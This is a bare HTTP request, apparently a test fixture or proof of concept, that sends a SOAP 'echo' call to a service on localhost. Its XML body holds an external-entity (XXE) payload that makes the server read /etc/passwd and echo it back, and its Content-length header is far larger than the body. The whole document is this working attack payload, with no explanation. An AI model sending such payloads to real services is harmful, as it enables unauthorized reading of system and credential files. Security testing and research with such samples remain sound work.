POST / HTTP/1.0
Host: localhost:8080
User-agent: SOAPpy 0.12.0 (pywebsvcs.sf.net)
Content-type: text/xml; charset="UTF-8"
Content-length: 10000000
SOAPAction: "echo"

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE v1 [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<SOAP-ENV:Envelope
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance"
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/1999/XMLSchema" >
<SOAP-ENV:Body>
<echo SOAP-ENC:root="1">
<v1 xsi:type="xsd:string">&xxe; aaa</v1>
</echo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>